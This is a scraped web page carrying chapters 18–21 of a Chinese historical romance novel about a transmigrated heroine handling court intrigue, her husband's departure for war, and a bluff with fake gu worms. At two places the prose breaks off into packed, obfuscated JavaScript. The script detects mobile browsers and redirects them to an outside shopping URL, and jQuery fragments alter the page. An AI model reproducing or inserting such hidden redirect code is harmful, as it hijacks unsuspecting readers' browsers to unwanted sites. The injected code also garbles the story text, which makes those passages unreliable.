“还好把你骗来了,闻行那家伙坑了那么久,那就让你来帮忙带带孩子,我们先出去玩一会儿。” 反差感如此之大,姜汾呆若木鸡,然后想起闻行的话,顿时点头如捣蒜,坚定地选择了帮她带娃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928490|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们俩兴高采烈地跑了,甚至跑出了残影。 话说起来简单做起来难,一个时辰后,姜汾就开始为自己的鲁莽决定默默后悔,她们三个人,根本哄不好这个一岁大的小姑娘。 姜汾想了想,决定带孩子去院子里面转转。 于是,吉吉抱孩子,年年负责哄她,而姜汾,担任了最为艰苦的任务——监督。 才待在院子里没多久,便看见一个年龄不大的小姑娘朝自己跑过来,她稚气未脱,对姜汾无礼地要求:“你不能抱我的侄女!” “为什么?” “外面都说你们闻家的女眷动不动就勾引外男,你们一家子都不干净,碰了我侄女我侄女也就不干净了。” 姜汾听到自家的闲话已经被一个小孩子拿来骂人了,明白这是有人特地指使的,便顺着她的话头,问:“是你母亲这么告诉你的吗?” 小孩摇了摇头,认真地回答:“不是,是宴会上的各位夫人说的,她们还说,公主故意把你留在后院,就是怕你污染了宴会的风气。” 让吉吉把郡主抱回房间,姜汾一脸亲切的模样地拉着小孩的手说:“你既然担心我们对你的侄女不好,不如你也来帮我们照顾你的小侄女吧。” 小孩不知道姜汾要做什么,但听说能照顾侄女,便喜上眉梢,跟着姜汾回房间了。 一个时辰不到,外面一阵吵闹,姜汾头也不抬,和两个孩子说些玩笑话逗乐。 有人急切地敲门,姜汾让年年去开门。年年听话地走到门边,一打开门,便被外面的人扇了一巴掌。 姜汾立马上前把年年拉到身后,看着眼前这位年老色衰的夫人,冷静道:“夫人,什么事?” 哪位夫人趾高气扬,话里话外全是不满:“什么东西也敢来挡我的路,知道我是谁吗?” “不知道。” 这是姜汾回的话,让本来傲态尽显的夫人一时之间有些失态,但她很快调整了回来,还看见了站在郡主摇车旁的小孩。 她朝小孩招招手,道:“蓉蓉,过来。” “娘!” 蓉蓉迈着小步子朝夫人跑了过去,一下钻进夫人的怀里。 夫人尖酸刻薄地说:“自己就不是什么干净的人,敢来祸害我们好人家的姑娘。” 姜汾眯了眯双眼,冷静地反问:“你凭什么说我不是好姑娘?” “外面都传遍了,你们家……” “外面传的就一定是真的?夫人,你家里也是有女眷的,你们家的女眷愿意接受这般侮辱吗?” 夫人眼见自己不能拿捏姜汾,便尖声尖气地大声起来:“我的天啊,我是这江平公主的婆母,我说什么,公主都得听着,你是侯府夫人又怎么样?你敢蔑视公主吗?” 姜汾这下才终于明白她是谁了,盛烽的继母,盛夫人。 面对盛夫人的阴阳怪气,姜汾绝对不会置之不理,她一步一步地引导着盛夫人说话。 “你怎么敢确定公主就一定会听你的?” “自古以来,就只有丑媳妇怕公婆的道理,她不听我的,难道还要我伺候她?我告诉你,等到时机成熟,整个公主府都是我盛家的!” “你敢说公主是丑媳妇?” “我是她婆婆,我想说什么就是什么!我告诉你,我跟当今圣上是亲家,整个京城的人都得让我三分。” 就在此时,外面突然传来一道掷地有声的声音:“你在说什么?” 18. 18 季姌的突然到来,令盛夫人惊心不已。她在外兴风作浪惯了,最会仗势欺人,看到宴会上所有人对侯府女眷的态度便自以为是,以为能挖苦姜汾两句。 她没想到的是,正是她这般傲慢的态度,才会让姜汾钻了空子,被姜汾引导到出口蔑视公主。 姜汾没有让自己的手沾一滴血,算是实现了第一次借刀杀人。 盛夫人连忙道歉,跪下来哭泣道:“公主,我刚刚是无心之失,你看在盛烽的面子上,也不应该处置我啊。” 谁料季姌却笑着反问她:“我处置谁为什么要看别人的脸色?” 季姌身后是皇家,她是先帝最小的女儿,自小收到的宠爱无与伦比。后来,先帝逝世,太子季忝继位,恰好太子与她为一母所出,对这个幺妹更是喜爱。 这样的人千娇万贵,外人来一句话就敢把她压下去? 季姌“哦”了一声,不管她的求饶,只是解释一下:“说清楚点,我的婆婆是早就去世了的,你一个活人,怎么动不动就抢死人的位置?” “我没有!” 盛夫人是真的怕了,得罪了公主,盛家的势力势必会缩减,而一荣俱荣,一损俱损,今日盛家因为自己丢了权势,明日盛家就会直接休了自己,让自己几十年来的荣华富贵全都成为泡影。 见公主要走了,她着急地上去想要拉住公主的衣裳,谁知连边角料都还没有碰到,季姌便像看见了瘟神一样躲开了她,然后面不改色问: “你什么东西?也敢碰我?” 盛夫人见求公主这条路走不通,只能转过头来去向姜汾求饶:“是我年纪大了,眼睛不好使,识人不清,错信了外面那些嚼舌根的长舌妇。” 姜汾盯着她已经哭花了的脸,只觉得可笑,然后吩咐吉吉:“把她的话带到前厅夫人的各位耳朵里,让他们听听盛夫人对她们的评价。” “慢着。” 是季姌的声音。 听到公主出声阻拦了,盛夫人还以为自己终于可以脱罪了,结果公主只是招招手,让自己的婢女跟着吉吉一起去。 “你一个人去,万一迷路可怎么办?带上我家这姑娘吧,好快些。” 盛夫人实在没辙了,只能把希望寄托在自己的继子身上,她嘴硬道:“如果盛烽过来了,他肯定会因为你如此对我而感到羞愧。” 季姌回眸看了她一眼,盛夫人便腿软弯了腰,如此一来,便形成了居高临下的局势,压迫着盛夫人,让她喘不上气。 “再说一次,你没有资格与我平起平坐。” 她走到姜汾身边,为姜汾抚平衣服上的褶皱,然后下令:“传下去,因今日盛夫人对侯府夫人和公主言行有失,公主暗自神伤,并决定公主府此后不再对在邀请盛家女眷。” 公主说出的话一言九鼎,此话一出,便是认定了盛夫人的罪过,更是向京城所有人证明了她的立场,她认为侯府女眷没有任何错误。 姜汾看着她坚定的模样,心里突然升起一股异样的感觉。同时,她的视线扫过门外,无意间注意到了躲在门外的一抹高大身影。 盛夫人被赶出了公主府,公主照旧款待宾客,并带着姜汾出席晚宴。 如今,谁还看不清形势? 她们争先恐后地上来捧着公主和姜汾说话,仿佛从之前出口伤人的一群人当中完全剥离了出来。 姜汾白了一眼:改过自新,重新做人,以前是社会人,今后是社会主义接班人是吧。 她敷衍了几句,随意吃了几口饭菜,便与公主讨辞:“闻行叫我今日务必早早回去,公主,真是对不住了,我为郡主准备的礼物浅薄,还请公主不要嫌弃。” 季姌却丝毫不在意,还为她指路:“走后门哈,从前门出去容易被外人误会你甩主人家脸色看。” 姜汾告谢后,便从后门离开,后门早早地就备了一辆马车,马车上坐着一个朴实地车夫,正招呼着姜汾上车。 谁料姜汾却犹豫了,脚步顿着不往前走。 眼前这人脸上有刀疤,虽然整个人藏在厚厚的棉衣下,但身形极其健硕,根本不像是长年累月赶马车的苦力。 她冷漠地把后门“嘭——”一下关上。 年年问她怎么了,她回复:“防火防盗防诈骗,总结来说就是防人之心不可无,所以,先别出去,别被拐走了。” 过了一会儿,响起了均匀而又清脆有力的敲门声,随即,闻行的声音透过厚厚的木板传了过来。 “筠婉,我不逗你了,跟我回去吧。” 姜汾这才把门打开,对闻行的行动表示抗议:“不要做这些让我害怕的事。” 闻行再三保证,拉着姜汾的手,将她抱上马车,然后说:“我不会做让你害怕的事。” “那公主的这场宴会呢?” “什么?” 见闻行假装没听懂的样子,依旧笑着在玩姜汾的手指,姜汾闭了一下眼睛,质问他:“公主举办这场宴会是三方得利吧,闻行,你从中参谋了不少吧。” “没有出力。”闻行的解释宛如玩笑话一般:“我只是出了点私钱让他们俩买了点桂花酥。” 闻行不想说,姜汾也不和他计较,毕竟这种事情说多了反倒会生出嫌隙。 她也真是疯了,竟然会担心闻行和自己的关系出现一丝一毫的破裂。 公主这次宴会,明面上是在给女儿庆祝祝福,可却一举三得。 一是帮助了侯府摆脱了流言蜚语的干扰,有了公主的肯定,此后就算是怨恨,也不会多说。 二是帮助盛烽解决了继母招摇过市的大麻烦,在任何地方,有一个只知道炫耀和显摆的主母,只会让家族蒙羞,甚至走向衰落。 三是立住了公主的盛威,旁人以为她下嫁,便是懦弱无能的样子,亦或说成为了皇家的弃子,可以利用和褒贬,可今天宴会拿盛夫人开场,算是一场蓄谋已久的计谋。 他们让姜汾来,不过是来走个过场而已。 闻行感受到姜汾不高兴,捏了捏她的脸蛋,告诉她:“这算是先生给你上的第一课,小朋友,知道了吧。” 姜汾闷 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她又抽了个空档,问年年:“你想要报仇吗?” 池年低着的脑袋稍微动弹了一下,但很快低得更低了,她否认道:“奴婢既然已经入了侯府,我从此以后哪里还有什么从前?侯府便是我的一切。” 姜汾看着她认真的神色,然后打趣道:“为了侯府什么都愿意做?” “是的,夫人。” “那你给演哥儿当填房丫头怎么样?” 果不其然,一阵沉默炸在空气中,姜汾瞬间明白了她的想法,便把她支了下去。 接下来的日子里,每天一道家常菜的派送让赵大战起了疑心,她耐不住心中的急躁,跑过来质问姜汾。 “膳房这么搞,万一耽误了演哥儿念书怎么办?况且,就我们家天天送菜,别人也会觉得我们小题大做,背后议论也会败了闻家的名声。” 姜汾不紧不慢回复:“母亲,你是觉得我前段时间很闲吗?我天天会客肯定不是我喜欢与外人逗乐吧。” 赵大战自觉理亏,但她也明白,自己自己绝对不能松了这个口子,便又打算说些什么。 “母亲。” 正当她准备开口时,姜汾却反问道:“演哥儿是为了年年刺的你吧。” “你不说话,我就当你是默认了。” 姜汾见赵大战脸上青一阵白一阵,便知道自己说对了,于是接着说:“真是奇怪,他不为了自己十几年来不纯的血统拔刀,却为了一个毛都没长齐的丫头,对着自己的母亲捅了一刀。” “任谁,都会觉得不能理解吧。” 赵大战被方了面子,梗着脖子气哄哄地离开了。 人已经走远了,年年才从屏风后面走了出来,她手里攥着一封信,不偏不倚,这封信来自在府学求学的闻演。 知道与他们纠缠不清的后果,年年对着姜汾直直地跪了下来,痛苦道:“夫人,求您帮我。” 19. 19 姜汾扶起跪在地上的池年,对着她说:“别怕,你只需要隔几天给他写一封信。” “信上就写希望郎君早日取得功名,好为我池家洗脱冤屈,让奴家得以恢复清白家世,让我们二人终成眷属。如此一来,一连几次的关心,总会得到一些收获。” 池年低着的头终于抬了些起来,似乎眼中有了一丝主意。 幸好,经过姜汾这么一折腾,府学那边也没有再次传来劝退闻演的消息,赵大战也很少折腾了。 赵家的一位老嬷嬷专门来侯府拜访,经询问才知道是赵大战乳母,她进了正房,与赵大战一起说了约摸两个时辰的话。 期间不允许其他人靠近,老嬷嬷更是说完就走了,下人叫他留下来吃饭,她还躲躲闪闪的。 姜汾知道这是赵家派人来教赵大战规矩,让她不要失了所有。 果不其然,从此以后,赵大战安分了不少,也常常不愿意走出她的正房,连用餐都不与她们一起。 派人去打探石虎的消息,却发现侯府奴籍簿上这个人的名字被一笔划掉,侯府之中,这个人仿佛是彻底蒸发了一般。 姜汾看着麻烦在一个接着一个地解决,心里却有种无法言喻的心情,总感觉山雨欲来风满楼。 下午的时候,公主又派人来请,说是明天办家宴,让姜汾一定要去参加。 可家宴跟姜汾有什么关系,哪怕牵扯到侯府,也只是至交,轮不上家中亲人。 姜汾按住心下疑惑,准备等闻行回来问问闻行。 晚上临近戌时,不同于以往,这一次,闻行很快就从军营里回来了。 他整个人疲惫不堪,显得无精打采,甚至仿佛神魂都被抽走了一部分。 一进门,姜汾帮他卸下盔甲,他才强颜欢笑起来,打起精神逗姜汾:“今天练字除了揽岳有没有会写其他的?” 姜汾脸颊略微泛红,眼睛稍一横,故作恼怒,道:“也不见你多写几个筠婉。” 待帮闻行卸好甲后,见蜡烛即将燃尽,她准备续上一根,却被闻行阻止了,他笑着对姜汾说:“我们今日早点睡吧。” 姜汾虽然巴不得早点甩掉这些被迫完成的东西,但明显感觉闻行今天有事瞒着她。 “筠婉,你可不可以过来一下。” 犹犹豫豫地走了过去,姜汾靠近闻行站着不动。 闻行慢慢坐在他那张罗汉床上,然后对姜汾说:“在靠近一点。” 姜汾走近他,问他今天到底怎么了? 岂料闻行一把把她拉着贴进了身边,然后把脑袋埋在了她的怀里,就这么靠着姜汾声泪俱下。 他身体剧烈地颤抖,穿越到这里半年,这是姜汾第一次见到他如此失态,姜汾有些错愕,但还是尽己所能地安慰他: “闻行,你告诉我,好不好。” 在姜汾的一再轻声追问下,闻行却放开了她,转哭为笑,说:“睡吧,今天大家都累坏了。” 他解开衣裳,便独自睡下了。 姜汾本来还想告诉他公主邀约的事,见他如此这番模样,却是不好再说什么了。 翌日,姜汾悠悠从梦乡中醒来时,闻行早已踏着晨光离开了。 她没太在意,梳洗打扮一番便去公主府参加宴会。 公主这次办的宴会与上次的大办特办不相同,尽显简朴与平淡,选的菜系也都是些家常菜,倒也是应了家宴的说法。 姜汾这次只带了吉吉,毕竟一切从简,她也不好多带一些人。 “公主。” 她与公主见面时,公主眼角微红,在旁边的奶娘抱着孩子也是一脸无措。姜汾下意识明白出事了,便拉着公主问: “怎么了?” 季姌连说话都是带着哭腔:“北边匈奴再次犯我疆土,前线将士要扛不住了,镇北将军马上要带着盛烽他们出征支援了。” 出征…… “他们这几日都在到处招兵买马,皇兄命令大司命筛选了良辰,最多不过两日,他们就会离开京城。” 难怪闻行昨日会表现出那般模样,可他人生二十几年中有十五年都在战场上混迹,他肯定是不怕战场的,又怎么会像昨日那般哭得伤痛。 公主哽咽了两声,终于缓解了自己的情绪,见姜汾闷着不说话,以为她也是伤心过度,便拉过她的手轻声安慰道: “不碍事的,他们在战场上多年,一切都会好的。我芪朝儿女世世代代为边疆之事赴汤蹈火,多少人的家庭因此支离破碎,我们只是其中一家,我们不应该痛心,而应风光地送他们上去。” 姜汾勉强点头,然后对她说:“对于闻行来说,昨天是什么特别的日子吗?” 季姌面对姜汾的问题,下意识问:“他昨天不会哭了吧?” 再次点点头,季姌便皱起了眉头,嘴唇翕动一下,最终还是迟疑地开口说道:“昨天,前线来了消息,说是贺杨将军战死了,那是盛烽和闻行的恩师。” 季姌继续说道:“昨晚盛烽得到消息后,也伤心了很久,可以说,没有贺杨将军,他和闻行根本不会从战场上全身而退。” 所以说,从家的层面,一日为师终身为父的师父被敌人杀死,此仇不报非君子。从国的层面来说,家国有难,受百姓税收支持的他们,绝对不会往后退一步。 姜汾算是明白闻行的难处了。 她问:“今日的家宴是只有我们女眷吗?” “他们都在集训场拉练新兵,等过几天,这些新兵就要一批一批地拉到战场上了,他们哪里有喘口气吃饭的时间。” 姜汾看着饭桌上这些菜,于是沉默一会儿,提议道:“不如再做一些菜,送到军营去吧,人总归是要吃饭的。” 公主同意了,吩咐人去膳房做吃食。 正午时候,两个仆人拎着饭盒到达了军营,尽管军营守卫再三强调不能送吃食,他们也不反驳,只是倔强地站在门外,也没有让守卫特地地禀报,他们只是蹲在那里,不肯离开。 直到闻行和盛烽一干人从集训场回来,路过大门时注意到蹲在门口一声不吭的两个人,闻行多留了个心眼,问:“他们是什么人?” 守卫忙回道:“禀将军,他们是公主府派过来的小厮,说是来送吃食的。” 盛烽闻言,大步走上前去接过饭盒,大手一 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闻行却不理他,直接走近他,掀开他头顶上包着的黑布,又从身上拿出一根簪子,抵着那小厮的喉咙,问:“你是男人吗?” 小厮仍然不死心,回道:“我只是残缺的玉。” “那你是土喽?” 闻行手中的簪子开始在小厮的脖颈上游走,稍有不慎就会划破皮肤,刺进血管,命丧当场。 小厮不断地大喘气,最后才举起双手缴械投降,求饶道:“好了,闻行,我承认了,我是姜汾,你满意了。” “不满意。”闻行嘴角带笑,却是收了手上的力度,避免簪子伤了姜汾,“我只看到了一个来历不明的女人,混进了全是男人的军营,不知道是不是想谋害我啊?” 姜汾大手一摆,索性放弃,道:“那你弄死我吧。” 闻行才不要,他将簪子变换了方向,为姜汾挽起散落开来的头发,然后让姜汾为自己夹菜喂饭。 他自己坐在案牍前看着军中要务,姜汾站在他的身边,喂他吃青菜。 闻行吃了没多少便不吃了,急急忙忙地看着手中的地图和士兵登记花名册,像是发现一个重要的突破点。 他丢下饭菜直接大步走了出去,与盛烽和几个军师一起商量。 姜汾听不懂,只能待在原地等他回来。 等半夜闻行再次回到营帐时,姜汾已经躺在地上四仰八叉地睡着了,还打着轻微的小鼾声。 闻行轻轻拍拍她的脸,把她叫醒后,告诉她:“筠婉,我们回家。” 夜半的军营之外是绵延数里的荒芜。 闻行本来想和姜汾共乘一骑快马,但姜汾不敢,为了安全,她自己单独骑了一只马。 他对姜汾说:“你骑的是我一直以来的朋友,灵岈,很稳很快。” 姜汾踩着脚蹬上马,感受了一下后,笑着对他说:“你说的不错。” 她不知道,这一夜,有人会因他那一笑方寸大失,就连无穷无尽的黑暗也无法掩藏着他耳底的通红和心上的悸动。 这一夜,微风万里拨起暗涛,他们像寻常夫妻一般相携回家。 20. 20 边关的将士们等不起,闻行他们一刻也耽误不得,草草地收拾一下,就被圣上一旨送去了边关。 姜汾虽然有些担心闻行,但为了不让闻行忧虑,便把内心的一些不安揣在怀里,没有表现出来。 家中掌家的大权全部交给了姜汾,自闻行离开的那一天开始,姜汾就成了侯府真正的主人。 侯府没有朝廷的消息,对对边关战事的把握全部来自于民间传闻和闻行的家书。可闻行的家书来的并不多,姜汾寄出去的书信也不知道闻行是否收得到。 自闻行走后,姜家和公主府对姜汾扶持不少,时不时地就会前来为她出谋划策,解决一些人际上姜汾不懂的问题。 慢慢地,有仆人开始有离开的想法,甚至而言,谣言和骚动随之而生。 这一天,本该一月来一次的家书并没有来,姜汾也并不着急,毕竟古人都说烽火连三月,家书抵万金,边关战事吃紧,这种东西传不回来也是正常的。 但侯府的下人并不这么以为。 他们平白地开始心慌,互相讨论着侯爷的生死,到最后竟然传出了侯爷战死边疆的消息。 姜汾原本还是不知道的,直到吉吉将最近的坊间消息报告给她,她才知道外界都认为朝廷在故意隐瞒闻行的死讯。 知道事情不会空穴来风,姜汾连夜把下人们召集起来,问他们:“谁先猜测侯爷身死的?” 他们非但没有承认,反而有人一本正经地提出质疑:“一月来一次的家书,这一次并没有来,不是战死……” “吉吉。”那个下人还没有说完,姜汾就抬起手,吩咐吉吉:“打!” 旁边有资历比较老的嬷嬷自认为同情,劝道:“夫人,你年纪还小,管不住家,家里人有点意见全是正常的。” 姜汾坐在院子的正中央,气定神闲地喝茶,听了这话,她把茶杯放了下来,盯着那位老嬷嬷的脸,认真的问:“你算我哪位家人?” 被噎了一口的老嬷嬷强行想要挽回面子,只能说:“夫人,话不能这么说,好歹我们也是为侯府效力了一辈子的人。” 姜汾也不进她的圈套,反而质问她:“那你需要我把你赶出侯府,解除你被我侯府奴役的日子吗?” “现在边关战事危急,侯爷上战场保家卫国,你们这些下人在后院就是这么编排你们的主人?” 姜汾冷冷地说:“所有被查出来谣传的人,杖责二十,明日起,全都以素食粥面为餐,为边关的战士们省出一些口粮。” “以后再发现,全部转卖给人伢子,至于到时候卖给哪儿,就不是我能决定的。” 姜汾话起了一定的震慑作用,他们都是奴籍,离开了闻家,这辈子都不可能找到比侯府更雄厚的主家了。 这一次是杀鸡儆猴,下一次可能就是刺骨之行。 大家默不作声,姜汾便撤了椅子,专门派人去闹市散播侯府对于造谣的下人已经重惩的消息,一时之间,坊间关于忠勇侯闻行死亡的消息压下去不少。 但姜汾也不能闲着,府学的有志青年们开始针对边疆的战事发表个人的见解和言论。 博学多识和关注国事是好的,但这些人的话太过于激进,以至于被有心之人利用,文章被推到了圣上面前,圣上看到后大发雷霆,把人直接关到了大牢里。 那些人中,恰好就有姜沭和姜溟。 本来是没有闻演的,但闻演觉得自己好歹是被姜汾弟弟两个保在府学的,自觉义气,为他们两个说了几句好话,结果被认为是朋党,一起关了进去。 姜图图和柳枝言原本因为女儿身死而遭受的身体苦痛,这一次,两个儿子入狱,悲情又降临到了他们身上。 姜汾怕他们身体被击垮,紧赶慢赶回到了姜府。 一进门,却不见往日的生气,姜汾问往日里伺候姜图图最多的一个下人:“我父亲呢?” “昨天老爷主动进宫参见圣上了,一整天没有回来了。” 圣上把姜图图留在了宫里,想也不想,肯定是问话一类的,现在就是在赌,赌圣上会在听了姜图图的话而赦免那些获罪的读书人。 他们所有人,都害怕圣上会处死那些读书人,会一怒之下,连根拔起他们的整个家族。 姜汾来不及想其他,她赶忙冲进柳枝言的房间,以确认她的情况。 柳枝言连床都下不得,虚弱得脸上的苍白用脂粉都遮盖不住,整个人斜斜地靠在床边,如同一幅悄然静止了的古画。 见姜汾来了,她才缓过一些神,悠悠说道:“你来了,筠婉。” 不管之前怎样,她知道真正的筠婉回不来了,她早已把眼前这个人当做自己的女儿。 如果不这么想的话,会很难熬的,此后的日子,便再也过不下去了。 姜汾走过去坐在床边,对她保证:“母亲,我会尽力把那两个小子捞出来的。” 话是如此,但她一个女子,在这个封建社会下,连朝堂都碰不到,怎么能把关系伸进牢狱中呢? 更何况,还是圣上亲自下的旨。 她必须要有一个可以借力的东西,来支撑她完成这一几乎不可完成的事。 现如今最大的问题就是,谁可以供她借力。 公主是万万不可的,她本就是当今圣上的妹妹,自己虽然是受尽宠爱,但伴君如伴虎,要是因自己的嘱托,让她在圣上面前失言,到时候,不知结果会如何。 像是想到了什么,姜汾问柳枝言:“母亲,我们有多久没有和小姨聚过了?” 柳枝言虽然不解她为何突然提这件事,但还是想了想,认真回答道:“已经两年了,我们两家很久没来往了。” 柳雁雁的丈夫刘子毅虽说是五品官,却肯定能把手伸到更远的地方。 姜汾现在需要的,就是一个点,支撑她把这个计划扩展开,最后分散成自己想要的样子。 她眼中闪过一丝坚定的神色,然后对柳枝言建议道:“今晚不如请他们过来吃一顿饭吧。” 柳枝言努力撑起半个身子,问:“筠婉,不要求他们,我们两家几十年的 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姜汾倒不在意,毕竟要是她这么一个睚眦必报的人,可能早就跑到自己的仇人面前耀武扬威地炫耀了。 她只是千叮咛万嘱咐,让下人一定保护好柳枝言,别让他们待会儿在外面的对话影响了本就在生病的柳枝言。 姜汾收住笑,装作一副失魂落魄的样子,走到厅堂,对着迎面而来的小姨和姨父强颜欢笑,然后请他们到饭桌前坐下。 柳枝言看到姜汾这个样子,想到不久前自己在公主府被羞辱的事,瞬间趾高气扬起来,跋扈地问:“怎么,现在想到我们这些小门小户了?” 姜汾继续作悔不该当初的模样,俯下身子道歉:“小姨,以前都是筠婉不懂事,冲撞了小姨,希望小姨大人不记小人过,饶了筠婉以前的过错吧。” 紧接着,她又对刘子毅说:“姨父,你叱咤官场多年,肚量足以撑船,不会介意的吧。” 被人用好话这么一捧,两人也不好说些什么,纷纷不情不愿地落座。 趁热打铁,姜汾对他们说:“先吃吧,我今日让膳房做了好些小姨和姨父喜欢吃的。” 见姜汾如此巴结自己,刘子毅当然知道她的意图,便直接拒绝道:“饭也不是不能吃,只是我这筷子只可以伸到饭桌上,不能伸到其他地方啊。” 话说得虽然委婉,但在场所有人,谁不明白刘子毅话里明晃晃拒绝的意思。 姜汾脸上陪着笑,道:“哎呀,怎么可能呢?咱们今天是亲朋相聚,谈什么其他事?都只是亲朋之间的交心话罢了。” 有这句话的保证,二人这才放心地夹起菜吃饭。 可姜汾却迟迟不动筷,这让二人感到些许疑惑,便问道:‘我们这些长辈都动筷了,你怎么不吃?’ 姜汾穿着明白装糊涂,根本不搭话。 柳枝言紧蹙眉头,声音都有些变了,问:“这菜不会有毒吧?” “没有。” 二人在别人看不到的地方悄悄松了口气。 “就是加了点料。” 21. 21 “是岭南地区上好的蛊虫,可以随食物进入人体,能让人神不知鬼不觉地受到控制。” 姜汾面无表情的叙述着,接着用筷子扒开菜里聚集的虫子,指给他们看:“看,就是这个。” 柳雁雁被吓坏了,指着姜汾不可置信地说:“你……你怎么能干这种事?” 倒是刘子毅留了个心眼,拍了拍受惊的柳雁雁,示意她平静下来,然后问姜汾:“你怎么证明这就是你口中所说的岭南蛊虫。” 他眼睛眯成了一条缝,似乎是料定了一般说道:“这种东西我过了大半辈子都闻所未闻出处,你一个黄毛丫头,是怎么找到这种东西的?” 姜汾内心腹诽:系统又不是吃干饭的,虽然他不吃饭。 但表面上,姜汾还是笑弯了眼睛,对刘子毅说道:“我有个婢女,叫年年,我家老三呢对她做了些事情,想必你们早就听京中有头有脸的人物议论过了,不然,公主府那日小姨也不会如此难为我。” “她从小就是那一带的,为了报复闻家呢,就采取了这么一个不入流的法子,想到她孤零零的一个人,这一切都是没办法的事,所以我就原谅了她。” “但东西嘛,我就没收了,本来是想好好珍藏的,但想到这一次要招待小姨姨父,就必须要拿出诚意来,所以呢,就呈上来了。” “正好呢,最近开春了,天气也回温了,可以说是蛊虫大繁荣。” 被姜汾暗地里使了阴招,二人目瞪口呆却无可奈何,坐在桌子旁连饭都吃不下,满肚子火气。 姜汾也想到了这一点,软硬兼施才会有好结果,给了他们一逼窦就必须要给个甜枣,于是乎,她又迂回道: “我不知道小姨和姨父是否明白一荣俱荣一损俱损的道理,你们与我姜家沾亲带故,血脉是断不掉的。” “今日我姜家出了事,你以为你刘家能过得好吗?打开天窗说亮话,可能以后你刘家的儿子无法参加科考,女儿也寻不到好人家,闹得不好,和我们姜家一起担罪也不是不可能。” “只有和姜家共进退,我们才能双赢。” 刘子毅脸色没有变化,似乎是早就意识到了这一点,他直接把话挑明了:“想要我刘家帮你们逃离困境就直说,别婆婆妈妈,也别在背后使阴招。” 姜汾摆摆手,反驳道:“也不是一定要你们出面。” “你这是什么意思?” 被摆了一道之后还被明里暗里地排挤两句,柳雁雁早就受不了了,撂下狠话:“想弄死我就弄。” “想当初,我还以为你娘嫁了个比我好夫家,现在想来,还是我眼光高远、慧眼识珠,能寻到这么一门好亲事。” 说到底,姜家和刘家最大的恩怨还是来自于柳雁雁觉得父亲偏心,将姐姐嫁给了好人家,而自己只能随便嫁给一个举子。 长久以往,这种内心的不平和不甘就会慢慢增加,然后溢出来,慢慢地流淌到自己的丈夫身上,驻扎在自己孩子的心里。 他们会在潜意识里认为,或许我真的没那么重要,或许是我的地位没那么高,所以他们才会如此对自己。 加上柳枝言多年以来不爱外出,不爱与人交往,这种误会根本没有澄清的一天,明明只是一瞬间的念头,慢慢地,就会变成两家人几十年无法要说的仇恨。 她们的父母都已经去世,她们本该是世界上最亲密的人,却因为误会和家庭利益渐行渐远。 姜汾也明白柳雁雁性格上易怒且有些缺陷的原因,所以也没有怪她,只是告诉她:“小姨,我母亲就在她房间里,她很想你,你想去看看她吗?” 听到这话,柳雁雁很明显地呆愣了一下,然后自嘲道:“怎么可能?她想见我,我还不想见她呢。” 知道和解不是一时一刻的事情,姜汾也没有多做徒劳的功夫,继续对他们说:“那么,我想请求你们,在后天上早朝时,让礼部侍郎黎铄为这群读书人发声。” “你疯了吗。” 刘子毅被他的想法震惊到了,脸上满是错愕,连声线都抖了一下,反问道:“你难道不知道他是你父亲的政敌?他们政见不合一辈子了。” 姜汾当然知道,黎铄是当今朝堂上为数不多的改革派,而姜图图则代表了大多数大臣的意见,成为了保守派的代表。 当今圣上的态度很模糊,从来不发表对双方的站队意见。 但是,这一次姜氏兄弟的文章话里话外都是在说芪朝的军队需要变革,这和原来黎铄的态度不谋而合。 圣上抓了他们,导致朝堂上很多人都以为改革派要倒台。可第二天,圣上又把姜图图扣留在皇宫之中,这让原本当着墙头草的各位大臣又搞不清圣上的动向了。 姜汾却很明白,这是圣上在试探臣子的态度,他年纪大了,做事圆滑,需要做到对臣子有极大的了解。 “我这里有一封书信,是写给黎大人的,你们把这封信给他,他会选择帮姜家的。” 在几番的来回之下,刘子毅和柳雁雁低下眼眸,姜汾嘴角勾起一抹微笑,便知道这件事稳了。 随后,用完饭菜,她把两人送出了门,便回到柳枝言房间,将她安顿好,再回到了侯府。 姜汾当然不会闲着,她回去之后便找到了年年,告诉她这件事,和她串了一下口供:“你记得到时候有人试探你的时候,你就说你确实鬼会这个东西,只是不太精通,现在都忘得差不多了。” 池年有些犹豫,她问姜汾:“可是,今天他们吃了那个虫子不会有事吧?” 姜汾神秘一笑,不露白牙却露出了邪恶。 【救命,谁教你的这大反派的笑容。】 姜汾告诉系统:“以前看综艺,有人皮笑肉不笑,有人肉笑皮不笑,有人皮笑肉也笑,有人皮不笑肉也不笑。他们四个告诉了我,什么才是真正的老戏骨。” 【……】 没和系统多扯,姜汾拍拍池年的肩膀,说:“放心,我有解药。” 实际上,哪里有什么蛊虫? 那就是普通的黑水虻,学过无脊椎动物都知道,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993429|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种虫子是益虫,没毒。而且姜汾放得很小心,根本没有让柳雁雁和刘子毅吃到。 她只是吓唬吓唬他们,先攻垮他们的心理防线罢了。 这种事她是不会告诉任何人的,毕竟这种阴招,谁知道了都会路过吐两口口水。 姜汾还是怕被别人的唾沫星子淹死的。 毕竟,她现在有更重要的事情要做,她让年年先出去,然后在屋子里一个人坐着冥想。 不出两刻钟,门外就传来阵阵敲门声,姜汾走过去打开门,果不其然,门外站着的正是赵大战。 赵大战明显为了闻演的事情没有休息好,眼底尽是青乌,头发也不像往日里那般梳得整整齐齐,反而有些凌乱。 